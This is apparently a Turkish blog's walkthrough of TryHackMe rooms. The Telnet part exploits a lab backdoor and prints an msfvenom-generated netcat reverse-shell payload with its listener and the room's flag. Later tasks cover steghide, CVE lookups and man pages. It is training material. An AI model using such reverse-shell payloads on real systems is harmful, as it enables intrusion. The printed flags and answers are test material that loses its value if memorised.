Telnet tüm mesajları açık metin olarak gönderir ve belirli bir güvenlik mekanizması yoktur. Bu nedenle, birçok uygulama ve hizmette Telnet'in yerini çoğu uygulamada SSH almıştır.

Telnet nasıl çalışır?

Kullanıcı sunucuya Telnet protokolünü kullanarak bağlanır, bu da bir komut istemine telnet girmek anlamına gelir. Kullanıcı daha sonra Telnet komutlarını kullanarak sunucuda komutları yürütür. Aşağıdaki sözdizimini kullanarak bir telnet sunucusuna bağlanabilirsiniz:

terminal
telnet [ip] [port]

1. Telnet nedir?

application protocol

2. Telnet'in yerini yavaş yavaş ne aldı?

ssh

3. IP adresi 10.10.10.3 olan bir Telnet sunucusuna 23 numaralı bağlantı noktasından nasıl bağlanırsınız?

telnet 10.10.10.3 23

4. Neyin eksikliği, tüm Telnet iletişiminin düz metin olduğu anlamına gelir?

encryption

Task 6 - Enumerating Telnet

Enumeration

Enumerating yanlış yapılandırılmış bir ağ hizmetinden yararlanmada ne kadar etkili olabileceğini daha önce görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman gözümüze çarpmaz. Bu nedenle, özellikle ağ hizmetlerinin numaralandırılması söz konusu olduğunda, yöntemimizde titiz olmamız gerekir.

Port Tarama

Hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için genellikle yaptığımız gibi bir port taramasıyla başlayalım. Makineyi nmap ile tarayın.

1. Hedef makinede kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
1

2. Port numarası nedir?

8012

3. Bu bağlantı noktası atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?

tcp

4. nmap taramasını -p- komutu olmadan yeniden çalıştırdığınızda, kaç bağlantı noktası açık olarak görünüyor?

0

5. Bu port ne için kullanılır?

Port 8012 tarafından döndürülen mesaj bize Skidy's Backdoor'u çalıştırdığını söylüyor.

a backdoor

6. Kime ait olabilir? Olası kullanıcı adlarını toplamak, numaralandırmada önemli bir adımdır.

Skidy

Task 7 - Exploiting Telnet

Telnet Exploit Türleri

Bir protokol olan Telnet, daha önce bahsettiğimiz nedenlerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu nedenle tüm iletişimi düz metin üzerinden gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, istismar ederken bunları kontrol edebilirsiniz:

Common Vulnerabilities and Exposures kısaltması olan CVE, kamuya açıklanmış bilgisayar güvenlik kusurlarının bir listesidir. Birisi bir CVE'den bahsettiğinde, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.

Bununla birlikte, telnet'in nasıl yapılandırıldığı veya çalıştığıyla ilgili bir yanlış yapılandırma bulma olasılığınız çok daha yüksektir ve bu da onu istismar etmenize olanak tanır.

Reverse Shell Nedir?

"Shell" basitçe bir cihaz üzerinde kod veya komut çalıştırmak için kullanılabilen bir kod veya program parçası olarak tanımlanabilir.

Reverse Shell, hedef makinenin saldıran makineyle geri iletişim kurduğu bir shell türüdür.

Saldıran makinenin bağlantıyı aldığı bir dinleme portu vardır, bu da kod veya komut yürütülmesine neden olur.

1. Bu açık bir telnet bağlantısı! Nasıl bir karşılama mesajı alıyoruz?

terminal
telnet 10.10.127.187 8012
SKIDY'S BACKDOOR.

2. Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden geri dönüş alıyor muyuz?

.HELP menüsü tüm komutların başına .RUN eklememizi söylüyor. Linux komutlarını .RUN ön ekli olarak çalıştırmayı denedim ancak herhangi bir çıktı alamadık.

N

3. Yazdığımız şeyin bir sistem komutu olarak çalıştırılıp çalıştırılmadığını kontrol edelim.

N

Yerel makinenizde bir tcpdump dinleyicisi başlatın.

terminal
tcpdump ip proto \\icmp -i tun0        # Yerel Kali Makine için
tcpdump ip proto \\icmp -i ens5        # AttackBox Makinasi için

Bu, özellikle ping'lerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisi başlatır.

4. Şimdi, sistem komutlarını çalıştırıp çalıştıramadığımızı görmek için telnet oturumu üzerinden "ping [yerel THM ip] -c 1" komutunu kullanın. Herhangi bir ping alıyor muyuz?

Telnet bağlantınızın olduğu terminalden ping komutunu çalıştırın. Komutun önüne .RUN eklemeyi unutmayın.

terminal
.RUN ping 10.6.67.160 -c 1

Komut çalıştırıldıktan sonra tcpdump'ın çalıştığı terminali kontrol edin. ICMP paketlerini listelemiş olmalıdır.

Y

msfvenom kullanarak bir reverse shell yükü oluşturacağız. Bu bizim için bir netcat reverse shell oluşturacak ve kodlayacaktır.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
TAG FUNCTION
-p Payload
lhost Yerel ana bilgisayar IP adresimiz.
lport Dinlenecek port
R Payload ham formatta dışa aktarma

5. Oluşturulan yük hangi kelime ile başlıyor?

Payload, bir reverse shell oluşturacaktır. Reverse Shell, hedef makine saldıran makine ile ağ bağlantısını başlatır. Kabuğun bizim makinemize bağlanması gerektiğinden, TryHackMe ağındaki makinemizin IP adresine ihtiyacımız var. Eğer TryHackMe'ye bağlanmak için OpenVPN kullandıysanız tun0 arayüzüne bakmanız gerekir.

terminal
ip a l tun0

inet altındaki değer ihtiyacımız olan IP adresidir.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=10.6.67.160 lport=4444 R

Çıktının son satırı oluşturulan yüktür.

terminal
mkfifo /tmp/gewdh; nc 10.6.67.160 4444 0</tmp/gewdh | /bin/sh >/tmp/gewdh 2>&1; rm /tmp/gewdh
mkfifo

Neredeyse başardık. Şimdi tek yapmamız gereken yerel makinemizde bir netcat dinleyicisi başlatmak. Bunu kullanarak yapıyoruz:

terminal
nc -lvnp [listening port]

6. Yükümüzde seçtiğimiz dinleme portu için komut nasıl görünürdü?

nc -lvnp 4444

7. flag.txt dosyasının içeriği nedir?

THM{y0u_g0t_th3_t3ln3t_fl4g}

28 Aralık 2024 Cumartesi

TryHackMe - Introductory Researching

Aralık 28, 2024 Posted by unexpected No comments

Task 1 - Introduction

Etkili araştırma yeteneği bir hackerın sahip olması gereken en önemli niteliklerden biridir. Hackerlık doğası gereği geniş bir bilgi tabanı gerektirir. Çünkü nasıl çalıştığını bilmediğiniz bir şeye nasıl gireceksiniz değil mi? Mesele şu ki: kimse her şeyi bilemez. Herkes (profesyonel, amatör, deneyimli ya da konuya tamamen yeni olabilirler) otomatik olarak nasıl çözüleceğini bilmediği sorunlarla karşılaşacaktır. İşte bu noktada araştırma devreye girer, çünkü gerçek dünyada sorularınızın yanıtlarının size kolayca verilmesini bekleyemezsiniz.

Deneyim seviyeniz arttıkça, araştırdığınız şeylerin zorluk derecesinin de buna göre arttığını göreceksiniz; ancak bilgi güvenliği alanında, bir şeylere bakmanıza gerek kalmayacağı bir nokta asla gelmeyecektir.

Task 2 - Example Research Question

TryHackMe'de bir CTF üzerinde çalışırken bulmanız muhtemel türden olan tipik bir araştırma sorusuna bakarak başlayacağız.

Diyelim ki uzak bir sunucudan bir JPEG görüntüsü indirdiniz. İçinde gizli bir şey olduğundan şüpheleniyorsunuz, ancak bunu nasıl ortaya çıkarabilirsiniz? Google'da "hiding things inside images" aramasını yaparak başlamaya ne dersiniz?

Aşağıdaki ikinci bağlantının bize bir tekniğin başlığını verdiğine dikkat edin: "Steganography" Daha sonra bu bağlantıya tıklayabilir ve size dosyaların resimlerin içine nasıl gizlendiğini öğretecek olan belgeyi okuyabilirsiniz.

Artık nasıl yapıldığını biliyoruz, şimdi steganography kullanarak dosyaları ayıklamanın bir yolunu aramayı deneyelim

Zaten neredeyse her bağlantı faydalı bir şeye işaret ediyor. İlk bağlantı yararlı araçların bir koleksiyonunu içeriyor, ikincisi ise ilk etapta steganografinin nasıl gerçekleştirileceğine dair daha fazla talimat içeriyor. Gerçekçi olmak gerekirse bu bağlantılardan herhangi biri faydalı olabilir, ancak ilkine 0xrick.github.io bir göz atalım.

Buradaki ilk araç kullanışlı görünüyor. JPEG dosyalarından gömülü verileri ayıklamak için kullanılabilir tam da ihtiyacımız olan şey! Bu sayfa ayrıca steghide'ın "apt" kullanılarak kurulabileceğini de söylüyor.

Şimdi bunu araştıralım!

Harika Yani apt, Ubuntu (veya Kali!) gibi Linux dağıtımlarına araçlar yüklememizi sağlayan bir paket yöneticisidir. Apt kullanarak paketleri nasıl yükleyebiliriz? Hadi arayalım!

Mükemmel sayfanın en üstünde bize talimatlar veriliyor. Paketimizin adının steghide olduğunu biliyoruz, devam edip bunu yükleyebiliriz

terminal
apt-get install steghide

Şimdi, daha önce baktığımız steganografi araçları koleksiyonuna geri dönelim. Orada steghide'ın nasıl kullanılacağına dair talimatlar olduğunu fark ettiniz mi?

setghide extract -sf file: extracts embedded data from a file

İşte böyle! Bir dosyadan bir görüntüyü bu şekilde çıkarabiliriz. Araştırmamız sonuç verdi ve şimdi gidip görevi tamamlayabiliriz.


Buradaki metodolojiye dikkat edin. Hiçbir şey yapmadan başladık, ancak yavaş yavaş ne yapmamız gerektiğine dair bir resim oluşturduk. Bir sorumuz vardı (Bu görüntüden nasıl veri çıkarabilirim). Bu soruya bir yanıt aradık, ardından konuyu tam olarak anlayana kadar bize verilen yanıtların her birini sorgulamaya devam ettik. Bu, araştırma yapmak için gerçekten iyi bir yoldur: Bir soruyla başlayın; konu hakkında ilk anlayışı edinin; daha sonra gerektiğinde daha ileri yönlere bakın.

Şimdi sıra sizde. Araştırma becerilerinizi kullanarak aşağıdaki soruları yanıtlayıp yanıtlayamayacağınızı görün. İlk üç sorunun ipuçlarında uygun arama sorguları bulunmaktadır:

1. Kali Linux ile birlikte gelen Burp Suite Programında, bir isteği manuel olarak göndermek için (genellikle yakalanan bir isteği birçok kez tekrarlayarak) hangi modu kullanırsınız?

Repeater

2. Modern Windows oturum açma parolaları hangi hash formatında saklanır?

NTLM

3. Linux'ta otomatik görevlere ne denir?

Cron Jobs

4. Hangi sayı tabanını 2 tabanının (binary) kısaltması olarak kullanabilirsiniz?

Base 16

5. Bir parola hash'i $6$ ile başlıyorsa, bu hangi formattadır (Unix varyantında)?

sha512crypt

Task 3 - Vulnerability Searching

Bilgisayar korsanlığında genellikle istismara açık olabilecek yazılımlarla karşılaşırsınız. Örneğin, İçerik Yönetim Sistemleri (Wordpress, FuelCMS, Ghost, vb.) bir web sitesi kurmayı kolaylaştırmak için sıklıkla kullanılır ve bunların çoğu çeşitli saldırılara karşı savunmasızdır. Peki belirli bir yazılımı istismar etmek isteseydik nereye bakardık?

Bu sorunun cevabı aşağıdaki gibi web sitelerinde yatmaktadır:

NVD, CVE'leri (Common Vulnerabilities and Exposures) kamuya açık bir istismar olup olmadığını takip eder, bu nedenle belirli bir yazılım parçasındaki güvenlik açıklarını araştırıyorsanız bakmak için gerçekten iyi bir yerdir. CVE'ler şu biçimi alır: CVE-YEAR-IDNUMBER

ExploitDB hackerlar için çok yararlı olma eğilimindedir, çünkü genellikle kutudan çıkar çıkmaz indirilip kullanılabilecek açıklar içerir. Bir CTF veya pentestter yazılımla karşılaştığınızda ilk duraklardan biri olma eğilimindedir.

Eğer Linux'ta CLI kullanmaya meyilliyseniz, Kali, ExploitDB'yi kendi makinenizden aramanızı sağlayan "searchsploit" adlı bir araçla önceden yüklenmiş olarak gelir. Bu çevrimdışıdır ve veritabanının indirilmiş bir sürümünü kullanarak çalışır, yani Kali Linux'unuzda zaten tüm açıklara sahipsiniz!


Bir örnek verelim. Diyelim ki bir CTF oynuyoruz ve bir web sitesiyle karşılaştık:

Bunun FuelCMS olduğu çok açık. Genellikle bu kadar açık olmaz, ama elimizdekiyle çalışacağız!

Yazılımı biliyoruz, bu yüzden ExploitDB'de arayalım.

Açıkları aramak için searchsploit fuelCMS komutunu kullanıyorum

Web sitesinde bir şeyler yapmayı tercih ediyorsanız, işte oradan sonuçlar:

Artık web sitesine karşı kullanabileceğimiz bir açık bulduk!

Aslında istismarı kullanmak bu odanın kapsamı dışındadır, ancak süreci görebilirsiniz.

Başlığa tıklarsanız, açık hakkında biraz daha fazla açıklama alacaksınız:

CVE numaralarına özellikle dikkat edin; sorular için onlara ihtiyacınız olacak!

Format şu şekilde olacaktır: CVE-YEAR-NUMBER

Not: CVE numaraları güvenlik açığı keşfedildiğinde atanır, kamuoyuna duyurulduğunda değil. Bir güvenlik açığı bir yılın sonunda keşfedilirse veya güvenlik açığını doğrulama ve düzeltme süreci uzun sürerse, yayınlanma tarihinin CVE tarihindeki yıldan sonraki yıl olabileceğini unutmayın... aşağıdaki soruları yanıtlarken bunu aklınızda bulundurun.

1. WPForms'ta bulunan 2020 Cross-Site Scripting (XSS) güvenlik açığının CVE'si nedir?

CVE-2020-10385

2. Apache Tomcat'in Debian sürümünde 2016 yılında bir Local Privilege Escalation açığı bulundu. Bu güvenlik açığı için CVE nedir?

CVE-2016-1240

3. VLC medya oynatıcısında bulunan ilk CVE nedir?

CVE-2007-0017

4. Sudo programında 2020 tampon taşmasından yararlanmak isteseydiniz, hangi CVE'yi kullanırdınız?

CVE-2019-18634

Task 4 - Manual Pages

Daha önce Linux'ta çalışmadıysanız, Linux Temelleri modülüne bir göz atın. Linux (genellikle Kali Linux) şüphesiz bilgisayar korsanlığında kullanılan en yaygın işletim sistemidir, bu yüzden ona aşina olmakta fayda var!

Linux'un birçok yararlı özelliğinden biri de, çoğu aracın kılavuz sayfalarına doğrudan terminalinizin içinden erişmenizi sağlayan dahili man komutudur. Bazen kılavuz girişi olmayan bir araç bulabilirsiniz; ancak bu nadirdir. Genel olarak, bir aleti nasıl kullanacağınızı bilmediğinizde ilk başvuracağınız yer insan olmalıdır.

Hadi bir deneyelim!

SSH kullanarak uzaktaki bir bilgisayara bağlanmak istediğimizi ancak sözdizimini bilmediğimizi varsayalım. SSH için kılavuz sayfasını almak için man ssh'ı deneyebiliriz

Açıklamada SSH kullanımı için sözdiziminin user@host olduğunu görebiliriz

Ayrıca man sayfalarını, programın başka şeyler yapmasını sağlayan özel anahtarları aramak için de kullanabiliriz. Bunun bir örneği, (ilk örneğimizden) steghide'ın, verdiğiniz anahtarlara bağlı olarak bir görüntünün içindeki dosyaları hem ayıklamak hem de gömmek için kullanılabilmesidir.

Örneğin, SSH için sürüm numarasını görüntülemek istiyorsanız, uygun bir anahtar bulana kadar man sayfasında aşağı kaydırırsınız:

terminal
-V         Display the version number and exit.

Şimdi sıra sizde! Aşağıdaki soruları man komutunu kullanarak cevaplayın:

SCP, dosyaları bir bilgisayardan diğerine kopyalamak için kullanılan bir araçtır.

1. Bir dizinin tamamını kopyalamak için hangi anahtarı kullanırsınız?

-r

fdisk, sabit diskinizde kullanılan bölümleme şemasını görüntülemek ve değiştirmek için kullanılan bir komuttur.

2. Mevcut bölümleri listelemek için hangi anahtarı kullanırsınız?

-l

nano Linux için kullanımı kolay bir metin editörüdür. Muhtemelen daha iyi editörler vardır (Vim, vi vb.); ancak, nano başlamak için harika bir tanesidir.

3. Nano ile bir dosya açarken yedekleme yapmak için hangi anahtarı kullanırsınız?

-B

Netcat, ağ isteklerini manuel olarak göndermek ve almak için kullanılan temel bir araçtır.

4. Netcat'i 12345 numaralı bağlantı noktasını kullanarak dinleme modunda başlatmak için hangi komutu kullanırsınız?

nc -l -p 12345